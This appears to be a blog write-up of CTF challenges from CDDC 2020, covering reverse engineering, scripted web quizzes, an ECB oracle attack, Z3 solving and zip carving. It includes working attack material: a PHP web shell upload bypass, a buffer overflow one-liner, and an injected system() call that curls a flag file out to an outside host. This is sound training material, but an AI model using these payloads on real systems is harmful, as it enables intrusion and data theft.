Cyber Defenders Discovery Camp 2020
[RE (Windows)-2] Dissect Me
LET THE GAMES BEGIN!
Open Ghidra. Load binary. Go through the entire binary because its labelled reverse engineering, then find the Bitmap embedded in the binary.
[RE (Windows)-3] Cheat Me
Be patient :) Then you can get what you want.
After opening the binary in Ghidra, we find this chunk of code that loops until time is up:
while( true ) {
Sleep(1000);
system("cls");
uVar5 = (undefined)unaff_EDI;
if (DAT_00403398 == -1) {
if ((DAT_00403394 < 1) && (DAT_00403018 < 1)) {
DAT_00403398 = 0;
}
else {
DAT_00403394 = DAT_00403394 + -1;
DAT_00403398 = 0x3b;
}
}
if (DAT_00403394 == -1) {
if (DAT_00403018 < 1) {
DAT_00403394 = 0;
}
else {
DAT_00403018 = DAT_00403018 + -1;
DAT_00403394 = 0x3b;
}
}
Sleep(1000)
makes each loop take a second. We can change 1000
to 0
so it loops faster.
While faster, this will still take a good few minutes to run. We can also patch out DAT_00403398 = 0x3b;
and DAT_00403394 = 0x3b;
, resetting the minutes and seconds to 0 instead of 59.
This makes the binary print the flag almost instantly.
Great Sphinx of Unduplicitous Corp
We discovered Unduplicitous Corp's training site for their engineers. The instructions were pretty clear: get to Stage 100 as soon as possible!
A script with BeautifulSoup makes quick work of this.
import requests
from bs4 import BeautifulSoup
HOST = "http://great-sphinx.chall.cddc2020.nshc.sg:1111/"
s = requests.Session()
r = s.get(HOST)
for i in range(101):
soup = BeautifulSoup(r.text, "html.parser")
print(r.text)
stage = soup.find(class_="stage").text
argv_1 = int(soup.find(class_="quiz_argv_1").text)
argv_2 = int(soup.find(class_="quiz_argv_2").text)
quiz_operator = soup.find(class_="quiz_operator").text
print(f'Stage {stage}: {argv_1}{quiz_operator}{argv_2}')
if quiz_operator == '/':
ans = argv_1 / argv_2
elif quiz_operator == '*':
ans = argv_1 * argv_2
elif quiz_operator == '-':
ans = argv_1 - argv_2
elif quiz_operator == '+':
ans = argv_1 + argv_2
else:
print(f'Unknown op {quiz_operator}')
r = s.get(HOST, params={"answer": ans})
Greater Sphinx of Unduplicitous Corp
Ahhh, yet another one. This time round, get to Stage 50 as soon as possible.
Similar concept, except the arguments and operators are now images instead of text. Pytesseract works relatively well:
- It dosen't have perfect accuracy. Limiting the character set helps, but
while True
fixes this :) - It dosen't well on the operators. Since the operators are actually the same image but with a different name, we can just hash the image to identify the operator.
import requests
from bs4 import BeautifulSoup
from urllib.parse import urljoin
import subprocess
import os
from PIL import Image
import pytesseract
HOST = "http://greater-sphinx.chall.cddc2020.nshc.sg:9999/"
s = requests.Session()
r = s.get(HOST)
ops = {
"ba3d4161ee1d145a9d1e9b5c16ce9295": "-",
"faabae8ad256bf7b43d2f8e587757de6": "*",
"fe538413c30e6679445277edb9eeed2b": "+",
"2744caaaa50bd3223d39e8f302449b05": "/"
}
def resolve(soup, val, charset):
src = soup.find(class_=val).find("img").get("src")
subprocess.Popen(["wget", urljoin(HOST, src), "-O", "out.png"], stdout=open(os.devnull, "wb")).wait()
img = Image.open("out.png")
new_size = tuple(2*x for x in img.size)
img = img.resize(new_size, Image.ANTIALIAS)
img.save("out.png")
h = subprocess.check_output(["md5sum", "out.png"]).split(b" ")[0].decode("utf8")
if h in ops:
return ops[h]
res = pytesseract.image_to_string(img, config=charset)
if len(res) == 0:
raise Exception("Failed to OCR")
print(f'Recovered {res} from {src}')
return res
while True:
soup = BeautifulSoup(r.text, "html.parser")
if "CDDC" in soup.text:
print(soup.text)
break
stage = soup.find(class_="stage").text
argv_1 = int(resolve(soup, "quiz_argv_1", "-c tessedit_char_whitelist=0123456789"))
argv_2 = int(resolve(soup, "quiz_argv_2", "-c tessedit_char_whitelist=0123456789"))
quiz_operator = resolve(soup, "quiz_operator", "-c tessedit_char_whitelist=+-*/")
print(f'Stage {stage}: {argv_1}{quiz_operator}{argv_2}')
if quiz_operator == '/':
ans = argv_1 / argv_2
elif quiz_operator == '*':
ans = argv_1 * argv_2
elif quiz_operator == '-':
ans = argv_1 - argv_2
elif quiz_operator == '+':
ans = argv_1 + argv_2
else:
print(f'Unknown op {quiz_operator}')
break
r = s.get(HOST, params={"answer": ans})
Ma GIFs
Well apparently, the CTO of Unduplicitous Corp love, love, LOVE GIFs! ;)
Website supporting GIF uploads.
Upon uploading a GIF, we see this:
This resembles the classic "bypass protections and upload a web shell" challenge for a few reasons:
- Ability to upload files
- Files seem to retain their original name (and critically, extension)
- The application is built on PHP
The trick here is that the web server decides how to parse a file based on the extension. If the file extension is .php
, the server actually executes the file on the back end.
Well, time to test the limits. We find that naming a file test.gif
is good enough, even if it does not contain a valid GIF. What happens when we upload something with another extension then?
Sorry, we only allow uploading of GIFs hehe :)
Okay, lets take a look at the web request then (the more conventional tool for this is Burp Suite), but I use Fiddler.
We see two interesting parts:
- The filename
test.gif
is sent Content-Type: image/gif
is sent along
What if the server was identifying file type based on the Content-Type
header rather than the actual file name? We can modify and resend the request, changing filename to test.php
(so that the server will execute the contents of the file we upload).
Hey look, we uploaded a .php
file successfully. We can write in a more useful payload like <?php system($_GET["req"]);
which gets us a shell.
Quick bit of ls
around, we find the flag.
Secret Code
What is the SECRET CODE?
Decompile with Ghidra:
We see here that user input is read, then passed to check
. If the user input matches certain conditions, something is done to that suspicious looking block of data (starting at local_37
) which is then printed out.
Whats in that chunk of data then? After accounting for endianness, we get CDDC20{E5qzV6p4zZ;ek..s}
. That while loop below must be "decrypting" this data.
&local_33 + i + 3
is "take the address of local_33, then add i
and 3
". Wrapping the whole thing with *()
gets the value at the position. This is equivalent to "
in Python.E5qzV6p4zZ;ek..s
"[i]
We see that the while
loop simply XORs each byte of data between {
and }
with the position.
We can reverse this with a script easily:
data = list("CDDC20{E5qzV6p4zZ;eks}")
for i in range(14):
data[4 + 3 + i] = chr(i ^ ord(data[4 + 3 + i]))
print("".join(data))
Suspicious Service
While conducting reconnaissance on Unduplicitous Corp, we found a suspicious service. Let's figure out what this is.
A few things happen here:
local_c
is set to0x12345678
- A string is read into
local_10c
- If
local_c
is equal to0x1343d00
, the flag is printed
Well that obviously looks impossible - local_c
is never set to 0x1343d00
. There must be a way for gets
to change the value of local_c
.
Lets take a look at what happens when gets
runs.
local_c
and local_10c
are defined on the stack, like so:
When gets
reads in a string, it reads until a newline (a user presses enter) or EOF is reached. The stack looks like this after entering "ABCDEFGH":
We see from the decompilation that local_10c
is defined as a 256 byte array. gets
then writes into this 256 byte array. If I were to write 256 A
s:
What happens if we were to write 257 A
s then?
Whoops! We've overflowed the buffer and started writing into local_c
! This is why unbounded functions like gets
are extremely dangerous and should not be used.
With that, all we have to do is send in A
* 256 then the magic value the binary is checking for (accounting for endianness):
$ python -c 'print("A" * 256 + "\x00\x3d\x34\x01")' | nc ss.chall.cddc2020.nshc.sg 7777
CDDC20{BufferrrrrrrrrOverflowwwwwwwwwwwwwwwwwwwww}
Hello
You, as the resistance fighter found the office number of UnduplicitousCorp HQ. However, upon calling the number you were met with a dead tone follwed by a robotic sounding message:
'Hello~ I'm going out for a while.
Please leave a message.'
We're given the following code:
from Crypto.Hash import SHA256
from Crypto.Cipher.AES import AESCipher
flag = "CDDC20{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}" # Find this :)
block_size = ??
def hello():
sys.stdout.write("Hello~ Please leave a *Base64* message: ")
text = raw_input()
return text
def noor2ro(text):
h = SHA256.new()
h.update(flag)
key = h.digest()
try:
text2 = 'noor2ro' + text.decode('base64') + flag
except:
print "Please enter the correct Base64 input."
exit()
padding = block_size - (len(text2) % block_size)
text2 += 'A' * padding
cipher = AESCipher(key).encrypt(text2).encode('base64')
return cipher
if __name__ == '__main__':
text = hello()
print "Just a moment. . ."
enc = noor2ro(text)
print "The message has been encrypted.\n\n", enc
from pwn import *
import base64
context.log_level = "error"
def send(val):
r = remote("hello.chall.cddc2020.nshc.sg", 12345)
r.sendlineafter("message: ", base64.b64encode(val.encode("utf-8")))
r.recvuntil("encrypted.\n\n")
blocks = b''
while True:
line = r.recvline()
if line == b'\n':
break
blocks += base64.b64decode(line.strip())
return blocks
# for i in range(16):
# print(i, len(send("A" * i)))
# len jumps from 64 to 80, hence 16 byte block size
blocksize = 16
def encrypt(val):
blocks = send(val)
return [blocks[i:i+blocksize] for i in range(0, len(blocks), blocksize)]
# how many bytes there are before the user controllable message
len_junk = 7
# enough bytes to contain junk + flag, align to block
len_work = 64
target_block_len = (len_work // blocksize)
flag = ""
while len(flag) == 0 or flag[-1] != "}":
found = False
for i in range(0x20, 0x7f):
target_len = (target_block_len * blocksize) - len_junk
# known flag + 1 test char
payload = flag + chr(i)
payload = payload.rjust(target_len)
print(f"check: {payload} ({len(payload)})")
known = encrypt(payload)
payload = flag
# subtract 1 so that the next unknown character is right at the boundary
payload = " " * (target_len - len(flag) - 1)
print(f"test : {payload} ({len(payload)})")
check = encrypt(payload)
if known[target_block_len - 1] == check[target_block_len - 1]:
flag += chr(i)
print(flag)
found = True
break
if not found:
print("Failed to recover")
break
BACK TO SCHOOL
The CTO of Unduplicitous Corp has decided to send his minions for an "Intensive AI Training Course". We wonder what is the curriculum all about...
Note:
The extracted data does not include the flag format "CDDC20{}". Add in the flag format "CDDC20{}" during submission and ensure that the flag string is fully in uppercase, i.e. CDDC20{SAMPLEFLAG}.
We're asked to do math:
We need to key in 6 numbers which satisfy certain conditions like x * 14 + x * (x + x) + 12 == 0)
. Well, I'm not going to do math. Z3 will handle the first 6 cases.
We're then asked to key in 6 more numbers satisfying two simultaneous equations.
We can make full use of Z3 to solve the dizzying array of checks:
from z3 import *
from pwn import *
context.log_level = "debug"
r = process('./BTS')
# input 1
x = Int("x")
s = Solver()
s.add((x * 14 + x * (x + x) + 12) == 0)
s.check()
r.sendline(str(s.model()[x]))
# input 2
x = Int("x")
s = Solver()
s.add((x * 3 + x * x + 2) == 0)
s.check()
r.sendline(str(s.model()[x]))
# input 3
x = Int("x")
s = Solver()
s.add(((x * x - x * 4) + 3) == 0)
s.check()
r.sendline(str(s.model()[x]))
# input 4
x = Int("x")
s = Solver()
s.add(((x * x - x * 8) + 16) == 0)
s.check()
r.sendline(str(s.model()[x]))
# input 5
x = Int("x")
s = Solver()
s.add(((x * x - (x + x)) - 3) == 0)
s.check()
r.sendline(str(s.model()[x]))
# simul equations
# b2 = 16 seems correct
a1, b1, c1, a2, b2, c2 = Ints("a1 b1 c1 a2 b2 c2")
x, y = Ints("x y")
s = Solver()
s.add(a1*x + b1*y == c1)
s.add(a2*x + b2*y == c2)
l80 = Int("l80")
l88 = Int("l88")
s.add(a1 != 0)
# s.add(l80 == (c1 / b2))
# s.add(l88 == ((c2 - b2 * l80) / a2))
s.add(l80 == (( ((a1 * c2) - (a2 * c1)) / ((a1 * b2) - (a2 * b1)) )))
s.add(l88 == ( (c1 - b1 * l80) / a1) )
s.add(l88 == 12)
s.add(l80 == 5)
s.add(a1 != b1)
s.add(a2 != b2)
s.add(c1 == 284)
s.add(c2 == 164)
s.check()
print(s.model())
def p(val):
return str(val)
# x2 = val.as_fraction()
# return str(float(x2.numerator) / float(x2.denominator))
r.sendline(p(s.model()[a1]))
r.sendline(p(s.model()[b1]))
r.sendline(p(s.model()[c1]))
r.sendline(p(s.model()[a2]))
r.sendline(p(s.model()[b2]))
r.sendline(p(s.model()[c2]))
r.interactive()
...which then throws out....a partial flag \xd\xe1\xf4\xe8\xf3OLVER
?!
Taking a look at the printing code, its quite obvious what happened. The first half of the flag relies on inp_1
, while the second half of the flag relies on inp_2
. It appears we got inp_2[1]
correct.
At this point, in the interest of time, we can bruteforce inp_1
until we get something that makes sense:
import sys
param_1 = 4
b2 = 16
offsets = [-35, -47, -28, -40, -29, 15, 12, 22, 5, 18]
for b1 in range(32):
try:
for i, o in enumerate(offsets):
if i <= 4:
sys.stdout.write(chr(b1 * param_1 + o))
else:
sys.stdout.write(chr(b2 * param_1 + o))
print()
except:
pass
we see MATHSOLVER
which looks legible enough.
Head-Rays
Hex-Rays? We don't need it :P
We have something better: Head-Rays!
We get a bunch of Lua bytecode:
; Function: 0
; Defined at line: 0
; #Upvalues: 0
; #Parameters: 0
; Is_vararg: 2
; Max Stack Size: 34
0 [-]: CLOSURE R0 0 ; R0 := closure(Function #0_0)
1 [-]: CLOSURE R1 1 ; R1 := closure(Function #0_1)
2 [-]: NEWTABLE R2 24 0 ; R2 := {} (size = 24,0)
3 [-]: LOADK R3 K1 ; R3 := 69
4 [-]: LOADK R4 K2 ; R4 := 66
5 [-]: LOADK R5 K2 ; R5 := 66
6 [-]: LOADK R6 K1 ; R6 := 69
7 [-]: LOADK R7 K3 ; R7 := 52
8 [-]: LOADK R8 K4 ; R8 := 54
9 [-]: LOADK R9 K5 ; R9 := 125
10 [-]: LOADK R10 K6 ; R10 := 84
11 [-]: LOADK R11 K7 ; R11 := 99
12 [-]: LOADK R12 K8 ; R12 := 112
13 [-]: LOADK R13 K7 ; R13 := 99
14 [-]: LOADK R14 K9 ; R14 := 116
15 [-]: LOADK R15 K10 ; R15 := 117
16 [-]: LOADK R16 K11 ; R16 := 55
17 [-]: LOADK R17 K12 ; R17 := 104
18 [-]: LOADK R18 K13 ; R18 := 97
19 [-]: LOADK R19 K14 ; R19 := 89
20 [-]: LOADK R20 K15 ; R20 := 74
21 [-]: LOADK R21 K16 ; R21 := 115
22 [-]: LOADK R22 K17 ; R22 := 103
23 [-]: LOADK R23 K14 ; R23 := 89
24 [-]: LOADK R24 K17 ; R24 := 103
25 [-]: LOADK R25 K10 ; R25 := 117
26 [-]: LOADK R26 K10 ; R26 := 117
27 [-]: LOADK R27 K7 ; R27 := 99
28 [-]: LOADK R28 K18 ; R28 := 107
29 [-]: LOADK R29 K19 ; R29 := 100
30 [-]: LOADK R30 K20 ; R30 := 106
31 [-]: LOADK R31 K21 ; R31 := 127
32 [-]: LOADK R32 K22 ; R32 := 39
33 [-]: LOADK R33 K23 ; R33 := 123
34 [-]: SETLIST R2 31 1 ; R2[0] to R2[30] := R3 to R33 ; R(a)[(c-1)*FPF+i] := R(a+i), 1 <= i <= b, a=2, b=31, c=1, FPF=50
35 [-]: SETGLOBAL R2 K0 ; a := R2
36 [-]: LOADK R2 K24 ; R2 := 1
37 [-]: GETGLOBAL R3 K0 ; R3 := a
38 [-]: LEN R3 R3 ; R3 := #R3
39 [-]: LOADK R4 K24 ; R4 := 1
40 [-]: FORPREP R2 9 ; R2 -= R4; pc += 9 (goto 50)
41 [-]: GETGLOBAL R6 K0 ; R6 := a
42 [-]: GETGLOBAL R7 K25 ; R7 := string
43 [-]: GETTABLE R7 R7 K26 ; R7 := R7["char"]
44 [-]: MOVE R8 R0 ; R8 := R0
45 [-]: GETGLOBAL R9 K0 ; R9 := a
46 [-]: GETTABLE R9 R9 R5 ; R9 := R9[R5]
47 [-]: CALL R8 2 0 ; R8 to top := R8(R9)
48 [-]: CALL R7 0 2 ; R7 := R7(R8 to top)
49 [-]: SETTABLE R6 R5 R7 ; R6[R5] := R7
50 [-]: FORLOOP R2 -10 ; R2 += R4; if R2 <= R3 then R5 := R2; PC += -10 , goto 41 end
51 [-]: GETGLOBAL R2 K27 ; R2 := table
52 [-]: GETTABLE R2 R2 K28 ; R2 := R2["concat"]
53 [-]: GETGLOBAL R3 K0 ; R3 := a
54 [-]: LOADK R4 K29 ; R4 := ""
55 [-]: CALL R2 3 2 ; R2 := R2(R3 to R4)
56 [-]: MOVE R3 R1 ; R3 := R1
57 [-]: MOVE R4 R2 ; R4 := R2
58 [-]: CALL R3 2 2 ; R3 := R3(R4)
59 [-]: MOVE R2 R3 ; R2 := R3
60 [-]: GETGLOBAL R3 K30 ; R3 := print
61 [-]: MOVE R4 R2 ; R4 := R2
62 [-]: CALL R3 2 1 ; := R3(R4)
63 [-]: RETURN R0 1 ; return
; Function: 0_0
; Defined at line: 2
; #Upvalues: 0
; #Parameters: 1
; Is_vararg: 0
; Max Stack Size: 7
0 [-]: LOADK R1 K1 ; R1 := 6
1 [-]: SETGLOBAL R1 K0 ; b := R1
2 [-]: LOADK R1 K2 ; R1 := 1
3 [-]: LOADK R2 K3 ; R2 := 0
4 [-]: LT 0 K3 R0 ; if 0 < R0 then goto 6 else goto 24
5 [-]: JMP 18 ; PC += 18 (goto 24)
6 [-]: GETGLOBAL R3 K0 ; R3 := b
7 [-]: LT 0 K3 R3 ; if 0 < R3 then goto 9 else goto 24
8 [-]: JMP 15 ; PC += 15 (goto 24)
9 [-]: MOD R3 R0 K4 ; R3 := R0 % 2
10 [-]: GETGLOBAL R4 K0 ; R4 := b
11 [-]: MOD R4 R4 K4 ; R4 := R4 % 2
12 [-]: EQ 1 R3 R4 ; if R3 ~= R4 then goto 14 else goto 15
13 [-]: JMP 1 ; PC += 1 (goto 15)
14 [-]: ADD R2 R2 R1 ; R2 := R2 + R1
15 [-]: SUB R5 R0 R3 ; R5 := R0 - R3
16 [-]: DIV R5 R5 K4 ; R5 := R5 / 2
17 [-]: GETGLOBAL R6 K0 ; R6 := b
18 [-]: SUB R6 R6 R4 ; R6 := R6 - R4
19 [-]: DIV R6 R6 K4 ; R6 := R6 / 2
20 [-]: MUL R1 R1 K4 ; R1 := R1 * 2
21 [-]: SETGLOBAL R6 K0 ; b := R6
22 [-]: MOVE R0 R5 ; R0 := R5
23 [-]: JMP -20 ; PC += -20 (goto 4)
24 [-]: GETGLOBAL R3 K0 ; R3 := b
25 [-]: LT 0 R0 R3 ; if R0 < R3 then goto 27 else goto 28
26 [-]: JMP 1 ; PC += 1 (goto 28)
27 [-]: GETGLOBAL R0 K0 ; R0 := b
28 [-]: LT 0 K3 R0 ; if 0 < R0 then goto 30 else goto 39
29 [-]: JMP 9 ; PC += 9 (goto 39)
30 [-]: MOD R3 R0 K4 ; R3 := R0 % 2
31 [-]: LT 0 K3 R3 ; if 0 < R3 then goto 33 else goto 34
32 [-]: JMP 1 ; PC += 1 (goto 34)
33 [-]: ADD R2 R2 R1 ; R2 := R2 + R1
34 [-]: SUB R4 R0 R3 ; R4 := R0 - R3
35 [-]: DIV R4 R4 K4 ; R4 := R4 / 2
36 [-]: MUL R1 R1 K4 ; R1 := R1 * 2
37 [-]: MOVE R0 R4 ; R0 := R4
38 [-]: JMP -11 ; PC += -11 (goto 28)
39 [-]: RETURN R2 2 ; return R2
40 [-]: RETURN R0 1 ; return
; Function: 0_1
; Defined at line: 19
; #Upvalues: 0
; #Parameters: 1
; Is_vararg: 0
; Max Stack Size: 6
0 [-]: GETGLOBAL R1 K0 ; R1 := string
1 [-]: GETTABLE R1 R1 K1 ; R1 := R1["gsub"]
2 [-]: MOVE R2 R0 ; R2 := R0
3 [-]: LOADK R3 K2 ; R3 := "i"
4 [-]: LOADK R4 K3 ; R4 := "1"
5 [-]: LOADK R5 K4 ; R5 := 2
6 [-]: CALL R1 5 2 ; R1 := R1(R2 to R5)
7 [-]: MOVE R0 R1 ; R0 := R1
8 [-]: GETGLOBAL R1 K0 ; R1 := string
9 [-]: GETTABLE R1 R1 K1 ; R1 := R1["gsub"]
10 [-]: MOVE R2 R0 ; R2 := R0
11 [-]: LOADK R3 K5 ; R3 := "a"
12 [-]: LOADK R4 K6 ; R4 := "4"
13 [-]: LOADK R5 K7 ; R5 := 1
14 [-]: CALL R1 5 2 ; R1 := R1(R2 to R5)
15 [-]: MOVE R0 R1 ; R0 := R1
16 [-]: GETGLOBAL R1 K0 ; R1 := string
17 [-]: GETTABLE R1 R1 K1 ; R1 := R1["gsub"]
18 [-]: MOVE R2 R0 ; R2 := R0
19 [-]: LOADK R3 K8 ; R3 := "e"
20 [-]: LOADK R4 K9 ; R4 := "3"
21 [-]: LOADK R5 K4 ; R5 := 2
22 [-]: CALL R1 5 2 ; R1 := R1(R2 to R5)
23 [-]: MOVE R0 R1 ; R0 := R1
24 [-]: RETURN R0 2 ; return R0
25 [-]: RETURN R0 1 ; return
which we can convert to Python with some help.
# [int(l.split("= ")[1]) for l in d.splitlines()]
a = [69, 66, 66, 69, 52, 54, 125, 84, 99, 112, 99, 116, 117, 55, 104, 97, 89, 74, 115, 103, 89, 103, 117, 117, 99, 107, 100, 106, 127, 39, 123]
def closure_0(R0):
R1 = 6
b = R1
R1 = 1
R2 = 0
while True:
if 0 < R0:
R3 = b
if 0 < R3:
pass
else:
break
else:
break
R3 = R0 % 2
R4 = b
R4 = R4 % 2
if R3 != R4:
R2 = R2 + R1
R5 = R0 - R3
R5 = R5 / 2
R6 = b
R6 = R6 - R4
R6 = R6 / 2
R1 = R1 * 2
b = R6
R0 = R5
R3 = b
if R0 < R3:
R0 = b
while 0 < R0:
R3 = R0 % 2
if 0 < R3:
R2 = R2 + R1
R4 = R0 - R3
R4 = R4 / 2
R1 = R1 * 2
R0 = R4
return R2
def closure_1(s):
return s.replace("i", "1", 2).replace("a", "4", 1).replace("e", "3", 2)
for i in range(len(a)):
a[i] = chr(closure_0(a[i]))
print(closure_1("".join(a)))
3-DCS
Welcome to 3-DCS (Triple Data Compiling Standard) System!
We get a substantial chunk of Python code. The relevant portions:
def handshaking(c_code, rounds=3) :
c_code = 'char*d="' + c_code
c_code +='''",o[3217];
int t=640,i,r,w,f,b,p,x;n(){return r<t?d[(*d+100+(r++))%t]:r>+1340?59:(x=d[(r++-t)%351+t]
)?x^(p?6:0):(p=+34);}main(){w=sprintf(o,"char*d=");r=p=0;for(f=1;f<*d+100;)if((b=d[f++])-33){
if(b<+93){if(!p)o[w++]=34;for(i=35+(p?0:1);i<b;i++)o[w++]=n();o[w++]=p?n():+34;}
else for(i=92;i<b;i++)o[w++]=32;}else o[w++]=10;o[w]=0;puts(o);};/*cddc_ctf*/;'''
print "[+] Ready to compile ..."
print "[+] ---------------------------------------------------------------------------------|"
print c_code
print "[+] ---------------------------------------------------------------------------------/"
round_result = []
for i in range(rounds) :
c_code = compile_and_run(c_code)
round_result.append(c_code)
return round_result
def main():
print greeting
c_code = raw_input("Login token : ")
check(c_code)
round_result = handshaking(c_code)
print "\nLogin succeeded!\n"
for i in range(len(round_result)) :
print "[+] round {} --------------------------------------------------------|\n".format(i+1)
print round_result[i]
print "\nGood bye!\n"
Hmm, you're going to let me run arbitrary code on your system? Well...
from pwn import *
context.log_level = "debug"
r = remote("3-dcs.chall.cddc2020.nshc.sg", 9011)
r.sendlineafter("token : ", '"; main(){system("curl justins.in/`cat flag.txt`");}/*')
r.interactive()
Wanna PK
His name is Red, he is strong and muscular.
I heard that the CTO of UnduplicitousCorp is a big fan of him.
We're given an unlabeled binary file:
$ file How_can_I_fight
How_can_I_fight: Zip archive data, at least v2.0 to extract
$ binwalk How_can_I_fight
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 Zip archive data, at least v2.0 to extract, compressed size: 34029, uncompressed size: 240655, name: dummy.pdf
34068 0x8514 Zip archive data, at least v2.0 to extract, compressed size: 122001, uncompressed size: 329099, name: fw9.pdf
156106 0x261CA Zip archive data, at least v2.0 to extract, compressed size: 15206, uncompressed size: 186536, name: pdf-sample.pdf
171356 0x29D5C Zip archive data, at least v2.0 to extract, compressed size: 25675, uncompressed size: 164375, name: pdf-test.pdf
197073 0x301D1 Zip archive data, at least v2.0 to extract, compressed size: 83316, uncompressed size: 292081, name: pdfurl-guide.pdf
280435 0x44773 Zip archive data, at least v2.0 to extract, compressed size: 105, uncompressed size: 138, name: Question
280957 0x4497D End of Zip archive, footer length: 22
When extracted, fw9.pdf
and Question
are not extracted. We can fix the zip with zip -FF How_can_I_fight.zip --out fixed.zip
, then unzip it to get 5 PDFs and a 138byte Question (.bmp missing all its data).
Nothing special appears in the PDFs when viewed, but when strings
is ran:
$ strings *.pdf | grep genius
Hello if you find this message, you are a genius!(4/5) START>>
Hello if you find this message, you are a genius!(5/5) START>>
Hello if you find this message, you are a genius!(2/5) START>>YU
Hello if you find this message, you are a genius!(3/5) START>>
Hello if you find this message, you are a genius!(1/5) START>>
Taking a look inside the PDF, we also see a corresponding <<END
string after START>>
. Carving out all the data between and placing them in order gives us a big blob of binary data.
import glob
import re
carved = [None] * 5
for f in glob.glob("*.pdf"):
print(f)
with open(f, "rb") as f:
data = f.read()
m = re.search(b"genius!\((\d)/5\)\s+START>>(.+)<<END", data, flags=re.DOTALL)
index, chunk = m.groups(1)
carved[int(index) - 1] = chunk
with open("out.bin", "wb") as f:
for chunk in carved:
f.write(chunk)
Appending this carved data to Question
found earlier displays the flag.
Conclusion
I (personally) am not too impressed with this CTF. There were quite a few challenges like [RE (Windows)-2] Dissect Me
and Wanna PK
which required pure, blind luck and guessing. When combined with their gating system (requiring almost the entire previous category to be solved before you can move to the next category), this made the event very very frustrating at times. At one point, we were stuck on the last few challenges in Warp Gate 4 for almost 24h before making a breakthrough into Warp Gate 3.